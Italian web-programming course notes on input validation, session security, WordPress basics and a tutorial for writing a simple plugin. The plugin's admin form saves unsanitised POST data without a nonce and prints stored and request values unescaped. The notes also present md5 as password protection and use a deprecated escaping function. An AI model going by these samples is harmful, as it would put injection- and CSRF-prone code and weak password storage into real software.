Recentemente sono stati sviluppati meccanismi un po' diversi (tendenzialmente più sicuri e meno frustranti per l'utente, anche se hanno ancora problemi di accessibilità): l'utente dichiara di non essere un robot spuntando una casella. Solo se il software di analisi dei rischi ha dei dubbi, propone all'utente la risoluzione di un test.

I criteri di discriminazione tra umano e software (*bot*) si basano su diversi parametri: indirizzo IP, cookies, tempo impiegato tra la spunta della casella e l'invio del modulo, tipo di movimento effettuato con il mouse per avvicinarsi alla checkbox, ecc.

12.9 Difese: validazione dell'input

12.9.1 Introduzione

Uno dei punti più deboli di un'applicazione web è l'elaborazione dei dati forniti dall'utente in input (per esempio nei form): effettuare dei controlli sull'input è fondamentale.

La **validazione** è il controllo dell'input fornito dall'utente. Può essere effettuata in vari modi.

12.9.2 Validazione client-side

La **validazione client-side** consiste nella verifica dei dati inseriti dall'utente prima del loro invio al server.

Si può leggere e controllare quanto scritto dall'utente in un form utilizzando JavaScript, il DOM e HTML5. È utile soprattutto come supporto per l'utente (per esempio per il controllo del formato di date, email, ecc.), ma è **insufficiente per la sicurezza del sito**: un attaccante può sempre disabilitare JavaScript o costruire richieste HTTP direttamente.

12.9.3 Validazione server-side

La **validazione server-side** consiste nella verifica dei dati contenuti nell'HTTP request ricevuta dal server.

Si possono leggere e controllare i dati inviati nell'HTTP request utilizzando PHP (o una qualunque altra tecnologia server-side). Per esempio, in PHP, la funzione `is_numeric(n)` controlla che `n` sia un numero: si può usarla per accettare solo gli input numerici (per esempio nel caso di un numero di telefono).

Validare le stringhe è una questione più complessa. Esistono due modi principali:

1. **Filtrare l'inserimento di specifiche sequenze di caratteri** (come i tag HTML), eliminando o ri-codificando le parti della stringa potenzialmente dannose (approccio più permissivo).
2. **Accettare solo input che rispettino specifiche regole di formattazione** (approccio più restrittivo).

12.9.4 Ricodifica di caratteri speciali

Funzioni di escape: l'*escape* consiste nell'anteposizione di un carattere di escape (generalmente il backslash `\`) ad alcuni caratteri che hanno significati particolari (per esempio gli apici). La presenza del carattere di escape comunica all'interprete di non interpretare il carattere che segue.

Per esempio, nel caso di iniezione SQL, utilizzando delle funzioni di escape sull'input fornito dall'utente nel form si evita di scrivere involontariamente una query dannosa:

```
1 $query = "SELECT * FROM utenti WHERE username = '".  
2     mysql_real_escape_string($user)."';";
```

Funzioni che ricodificano i caratteri speciali dell'HTML:

```
1 $text = "<p>hello</p>";  
2 $clean_text = htmlspecialchars($text);  
3 // risultato: <p>hello</p>
```

Queste funzioni proteggono dal Cross-Site Scripting (XSS).

12.9.5 Controlli restrittivi sul formato dell'input

Oltre a controllare la lunghezza delle stringhe in input, si può controllare che i dati (stringhe) appartengano a una **lista predefinita**. Per esempio, si può controllare che l'input appartenga alla whitelist:

lunedì', martedì', mercoledì', giovedì', venerdì'

12.9.6 Ulteriori precauzioni

Due importanti precauzioni come parziale difesa da iniezioni SQL:

1. **Impostare i privilegi dell'utente** utilizzato per connettersi al database server dallo script, in modo tale che siano disabilitate le modifiche più invasive (come la cancellazione di una tabella). Questa è una difesa dai tentativi di manipolazione del database.
2. **Crittografare le password**: anziché archiviare la password come la scrive l'utente (es. "pippo"), la si archivia invocando prima una funzione che ricodifica la stringa:

```
1 md5("pippo")  
2 // "9e671a46de6768789f03bf4eee8d56d0"  
3
```

12.10 Difese: sicurezza della sessione

Per rendere il furto del session ID più difficile da realizzare e il session ID rubato più difficile da usare, esistono diverse tecniche:

- **Utilizzare i cookies come mezzo di trasporto del session ID**, inibendo l'URL rewriting (per farlo occorre modificare la configurazione del Web Server).
- **Usare HTTPS** (rende più sicuro il transito dei cookies).
- **Controllare da dove arriva l'utente** quando richiede una pagina “delicata”. Per esempio, all'accesso a una pagina di trasferimento di denaro, controllare che:

- Il sito visitato allo step precedente sia il mio (controllando il valore dell'HTTP referrer header, accessibile in PHP; *nota: non molto affidabile*).
- La pagina visitata allo step precedente sia quella prevista (per es. quella di login), controllando un token appositamente incluso nell'HTTP request proveniente da quella pagina.
- **Rinegoziare il session ID** ogni volta che viene inizializzata una sessione (*session regeneration*): la funzione `session_regenerate_id()` genera un nuovo session ID non prevedibile, ri-creando il cookie che ne contiene il valore.
- **Ruotare il session ID**: simile alla session regeneration, ma la generazione del nuovo session ID avviene a ogni richiesta (HTTP request) effettuata dal client. È una soluzione molto sicura, ma ha alcuni problemi: impedisce il funzionamento del tasto back del browser (il back effettua una richiesta con un session ID non più valido, in quanto rinegoziato) e impedisce il funzionamento corretto di memoria cache o di proxy.

12.11 Conclusioni

- La sicurezza è un aspetto che **non può essere trascurato**.
- La maggioranza dei problemi di sicurezza delle applicazioni web è legata alla **validazione degli input**: impedire che quanto inserito dall'utente possa contenere stringhe dannose significa già aver reso un sito più sicuro.
- La messa in sicurezza non è un'operazione semplice: bisogna cercare un compromesso tra:
 - Le **funzionalità e l'usabilità** (che rischiano di venire compromesse da controlli troppo restrittivi).
 - La **sicurezza**.
- Gli utenti sono pigri e spesso non vogliono dover risolvere un CAPTCHA a ogni accesso.
- Le scelte di messa in sicurezza dipendono dal **tipo di applicazione** e dai **dati trattati**.

13 - WordPress

13.1 Introduzione

WordPress è un CMS (Content Management System) nato come strumento per il blogging, oggi esteso ad ogni tipo di utilizzo. È un software Open Source ed è una delle piattaforme più utilizzate al mondo per la creazione di siti web.

13.2 Caratteristiche principali

Le caratteristiche principali di WordPress sono:

- **Temi:** controllano l'aspetto grafico e funzionale del sito.
- **Plugin:** estendono le funzionalità di WordPress.
- **Ottimizzato per i motori di ricerca** (SEO-friendly).
- **Open source:** il codice sorgente è liberamente disponibile.

13.3 Funzioni base

13.3.1 Gestione utenti e ruoli

WordPress gestisce diversi ruoli utente, ciascuno con permessi specifici:

- **Super Admin:** disponibile solo in WordPress Multisite.
- **Administrator:** ha pieno controllo sul sito.
- **Editor:** controllo completo sui contenuti (propri e di altri utenti).
- **Author:** può creare, modificare e pubblicare i propri contenuti.
- **Contributor:** può creare contenuti e modificare i propri, ma non può pubblicarli.
- **Subscriber:** non può creare contenuti.

13.3.2 Gestione documenti multimediali

WordPress include un sistema integrato per la gestione di documenti multimediali (immagini, video, audio, PDF, ecc.) tramite la *Media Library*.

13.3.3 Sistema di commenti integrato

WordPress dispone di un sistema di commenti integrato che permette ai visitatori di interagire con i contenuti pubblicati.

13.4 Contenuti su WordPress

WordPress organizza i contenuti in diversi tipi:

- **Post**: articoli del blog.
- **Page**: pagine statiche.
- **Attachment**: documenti multimediali allegati.
- **Revision**: versioni precedenti dei post.
- **Navigation menu**: menu di navigazione.
- **Custom post**: tipi di contenuto personalizzati definiti dall'utente.

WordPress fornisce anche una **REST API** (<https://developer.wordpress.org/rest-api/>) che permette a sviluppatori esterni di interagire programmaticamente con il CMS.

13.5 Configurazioni: wp-config.php

Alcune configurazioni principali di WordPress si trovano nel file `wp-config.php`. Esempi:

```
1 define( 'WP_DEBUG', true );  
2 define( 'WP_CACHE', true );
```

- `WP_DEBUG`: attiva la modalità di debug per lo sviluppo.
- `WP_CACHE`: abilita il sistema di caching.

13.6 Bacheca di WordPress

La **bacheca** (o *dashboard*) di WordPress è l'interfaccia di amministrazione del sito. Attraverso la bacheca è possibile gestire:

- Post e pagine.
- Media.
- Commenti.
- Temi e plugin.

- Utenti.
- Impostazioni generali del sito.

13.7 Organizzazione dei contenuti

13.7.1 I Post

I **Post** in WordPress hanno due accezioni:

- Sono **articoli** pubblicati sul sito.
- Dal punto di vista interno, sono **tutti i contenuti** memorizzati nella tabella `wp_posts` del database. Il campo `post_type` distingue:
 - **Post**: articoli standard.
 - **Pagine**: contenuti statici.
 - **Post personalizzati**: ad esempio eventi di un calendario, schede dei prodotti, ecc.
 - **Revisioni**: versioni precedenti dei post (da salvataggi bozze).
 - **Elementi dei menu di navigazione** (link).

13.7.2 Stato dei post

Ogni post può trovarsi in uno dei seguenti stati:

Stato	Descrizione
Publish	Post pubblicato e visibile pubblicamente.
Future	Post programmato (in attesa di pubblicazione).
Draft	Post in bozza e visibile da utenti con ruolo appropriato (autore e gli utenti Editor o superiori).
Pending	In attesa di revisione da parte di Editor o superiori.
Private	Visibile solo dagli Administrator.
Trash	Cestinato.
Auto-Draft	Salvataggio automatico (revisione).
Inherit	Post che ereditano lo stato da un post genitore (ad es. Attachment o Revision rispetto a un Post).

13.7.3 Permessi sui post

I permessi variano in base al ruolo dell'utente:

Ruolo	Capacità
Subscriber	Non può creare contenuti.
Contributor	Può creare contenuti e modificare i propri, non può pubblicare.
Author	Può creare contenuti, modificare e pubblicare i propri.
Editor	Ha il controllo completo sui contenuti propri e di altri utenti; può pubblicare contenuti in attesa di revisione creati dai Contributor.

13.8 Tassonomie

Una **tassonomia** è un insieme di termini legati da un'analogia semantica e/o gerarchica. Le tassonomie:

- Permettono di assegnare ai contenuti **parole chiave con valore semantico**; tali termini consentono all'utente di comprendere immediatamente il contenuto di un articolo e di effettuare ricerche per argomenti (*organizzazione semantica*).
- Permettono di creare un **sistema di navigazione** facilmente comprensibile da parte dei visitatori (*organizzazione gerarchica*).

13.8.1 Categorie

Le **Categorie** consentono di raggruppare logicamente e gerarchicamente i contenuti del blog. Costituiscono una *tassonomia gerarchica*.

13.8.2 Tag

I **Tag** etichettano i contenuti in modo tale che l'utente comprenda immediatamente quale sia l'argomento di un articolo. Costituiscono una *tassonomia semantica*.

13.9 Pagine

Le **Pagine**:

- Sono **contenuti statici** (non articoli del blog).
- Possono avere una **struttura gerarchica**: può essere definito il genitore in caso di nuova pagina, creando relazioni padre-figlio.

Sono adatte per contenuti come “Chi siamo”, “Contatti”, “Termini di servizio”, ecc.

13.10 Plugin

13.10.1 Funzionalità core e Plugin

WordPress offre delle funzionalità *core*, ma i **Plugin** permettono di aggiungere funzionalità ulteriori.

Un plugin può essere costituito da:

- Un solo file principale.
- Una collezione di file `.php`, `.css`, `.js`, oltre a eventuali grafiche.

13.10.2 Widget

I **Widget** sono blocchi di codice HTML che permettono di aggiungere contenuto o funzionalità alle *sidebar* di WordPress. WordPress dispone di diversi widget predefiniti per:

- Categorie.
- Tag cloud.
- Ricerca.
- Calendario delle pubblicazioni.
- Menu personalizzati.
- Ecc.

13.10.3 Shortcode

Gli **Shortcode** sono particolari tag che vengono inseriti all'interno dei contenuti del sito ed eseguono delle macro, producendo contenuto HTML.

Esempio:

```
[gallery ids="123,124,125,126" size="medium"]
```

Questo shortcode, inserito in un post o in una pagina, genera una galleria di immagini con gli ID specificati.

13.11 Temi

I **Temi** sono le estensioni di WordPress che controllano il modo in cui un sito si presenta ai visitatori e agli utenti.

Non si tratta solo della definizione delle caratteristiche grafiche, ma del **controllo generale di tutti gli aspetti che riguardano la presentazione**, anche sotto il profilo funzionale.

Un tema determina:

- Il layout del sito.
- La tipografia e i colori.
- La struttura delle pagine e dei post.
- Le aree widget disponibili.
- I template per i vari tipi di contenuto.

14 - Creare un Plugin WordPress

14.1 Introduzione

Un **plugin** di WordPress è un'estensione che aggiunge funzionalità al CMS. In questo capitolo vedremo come strutturare e implementare un semplice plugin, esaminando sia la struttura dei file sia i principali meccanismi utilizzati da WordPress per interfacciarsi con i plugin (azioni, filtri, hook).

14.2 Struttura di file e directory

Un plugin WordPress è tipicamente organizzato in questo modo:

- **Cartella del plugin:** es. myplugin.
- **File principale del plugin:** es. myplugin.php.
- **Cartella plugin di WordPress:** wp-content/plugins.

Il percorso completo del file principale sarà:

wp-content/plugins/myplugin/myplugin.php

14.3 Header del file principale

Il file principale deve contenere un header con le informazioni del plugin. WordPress utilizza questi metadati per riconoscere il plugin e mostrarne le informazioni nella bacheca:

```
1 <?php
2 /*
3  Plugin Name: My Plugin
4  Version: 1.0
5  Description: Descrizione del plugin
6  Author: Nome Cognome
7  Author URI: http://sito.com
8  */
```

I campi principali dell'header sono:

- **Plugin Name:** il nome del plugin.
- **Version:** la versione del plugin.
- **Description:** una breve descrizione.
- **Author:** l'autore del plugin.
- **Author URI:** URL dell'autore.

14.4 Percorsi e URL

Durante lo sviluppo di un plugin si ha spesso bisogno di riferirsi ad altri file all'interno della struttura del plugin stesso.

14.4.1 Percorsi (paths)

I percorsi vengono usati per **includere file PHP** dalla struttura del plugin. La funzione `plugin_dir_path()` restituisce il percorso sul file system:

```
1 define('MY_PLUGIN_PATH', plugin_dir_path(__FILE__));  
2 // risultato: /home/nomeutente/sito.com/public_html/  
3 // wp-content/plugins/my_plugin/
```

Per includere un file si usa:

```
1 require_once(MY_PLUGIN_PATH . 'framework/MyClass.php');
```

14.4.2 URL

Gli URL vengono usati per referenziare risorse che devono essere caricate dal browser: **CSS, JavaScript, immagini**. La funzione `plugin_dir_url()` restituisce l'URL:

```
1 define('MY_PLUGIN_URL', plugin_dir_url(__FILE__));  
2 // risultato: http://sito.com/wp-content/plugins/my_plugin/
```

Esempio di registrazione di uno script JavaScript:

```
1 wp_register_script(  
2     'my',  
3     MY_PLUGIN_URL . 'js/my.js',  
4     array('jquery'),  
5     '1.0',  
6     true  
7 );
```

14.5 Azioni e filtri (Hook)

WordPress utilizza un sistema di *hook* (“agganci”) per permettere ai plugin di interagire con il funzionamento del CMS:

- Le **action** (azioni) vengono invocate durante un evento di WordPress. Un plugin può registrare una funzione da eseguire quando si verifica un certo evento.
- I **filter** (filtri) servono a modificare l'output restituito dai componenti dell'applicazione. Un plugin può intercettare e modificare un dato prima che venga utilizzato da WordPress.

Le funzioni principali per registrare gli hook sono:

- `add_action()`: registra una funzione da eseguire quando si verifica una certa action.
- `add_filter()`: registra una funzione per modificare un certo dato tramite un filter.

14.6 Esempio: plugin “Hello World”

Costruiamo, passo dopo passo, un semplice plugin che stampa “hello world” nel footer delle pagine e offre un’interfaccia di amministrazione per modificare il testo.

14.6.1 Header del plugin

```
1 <?php
2 /**
3  * Plugin Name: Test plugin
4  * Plugin URI:  https://mainwp.com
5  * Description: This plugin does some stuff with WordPress
6  * Version:     1.0.0
7  * Author:      Your Name Here
8  * Author URI:  https://mainwp.com
9  * License:     GPL2
10 */
11 ?>
```

14.6.2 Uso di `add_action()`

Aggiungiamo una funzione che stampa “hello world” nel footer della pagina. L’action `wp_footer` viene invocata da WordPress al momento del rendering del footer di ogni pagina:

```
1 add_action('wp_footer', 'my_function');
2
3 function my_function() {
4     echo 'hello world';
5 }
```

In questo modo, ogni volta che WordPress esegue l’hook `wp_footer`, verrà chiamata la funzione `my_function()` che stampa il testo.

14.6.3 Creare una voce nel menu di amministrazione

Per permettere all’amministratore di configurare il plugin dalla bacheca, creiamo una voce nel menu di amministrazione. La funzione `add_management_page()` aggiunge una pagina sotto il menu “Strumenti”:

```

1 function my_admin_menu() {
2     add_management_page(
3         'Footer Text',           // titolo della pagina
4         'Footer Text',           // titolo del menu
5         'manage_options',        // capability richiesta
6         __FILE__,                // slug
7         'footer_text_admin_page' // funzione di callback
8     );
9 }

```

14.6.4 Modificare l'interfaccia di amministrazione

Ecco la funzione di callback che costruisce l'interfaccia della pagina di amministrazione del plugin. Quando l'utente invia il form, il valore viene salvato nella tabella `wp_options` tramite `update_option()`. Per recuperare il valore si usa `get_option()`:

```

1 function footer_text_admin_page() {
2     $textvar = get_option('test_plugin_variable', 'hello world');
3
4     if (isset($_POST['change-clicked'])) {
5         update_option('test_plugin_variable',
6             $_POST['footertext']);
7         $textvar = get_option('test_plugin_variable',
8             'hello world');
9     }
10    ?>
11    <div class="wrap">
12        <h1>Footer Text</h1>
13        <p>This simple plugin will output some text to the
14        footer of your template. Change the text below:</p>
15        <form action="php echo $_SERVER['REQUEST_URI']; ?"
16            method="post">
17            Footer Text:
18            <input type="text"
19                value="php echo $textvar; ?"
20                name="footertext"
21                placeholder="hello world"><br/>
22            <input name="change-clicked"
23                type="hidden" value="1" />
24            <input type="submit" value="Change Text" />
25        </form>
26    </div>
27    <?php
28 }

```

14.6.5 Commento sul codice

Il codice mostrato illustra i meccanismi fondamentali di un plugin WordPress:

- Uso degli **hook** (`add_action`) per collegare una funzione a un evento di WordPress.

- Uso di funzioni come `get_option()` e `update_option()` per memorizzare e recuperare dati persistenti nel database di WordPress.
- Creazione di una **pagina di amministrazione** nel backend tramite `add_management_page()`.
- Utilizzo di un **form HTML** per permettere all'amministratore di modificare il testo.

14.7 Considerazioni finali

Lo sviluppo di plugin WordPress segue pattern ben definiti, basati sul sistema di hook (action e filter). La conoscenza di PHP, HTML e dei principi di programmazione web è un prerequisito; inoltre è importante consultare la documentazione ufficiale di WordPress per le API disponibili:

- <https://developer.wordpress.org/plugins/>
- <https://developer.wordpress.org/rest-api/>
- <https://developer.wordpress.org/reference/>

Seguire le best practice per la sicurezza (validazione dell'input, sanitizzazione dell'output, uso di nonce per la protezione CSRF) è fondamentale, soprattutto nello sviluppo di plugin destinati alla distribuzione pubblica.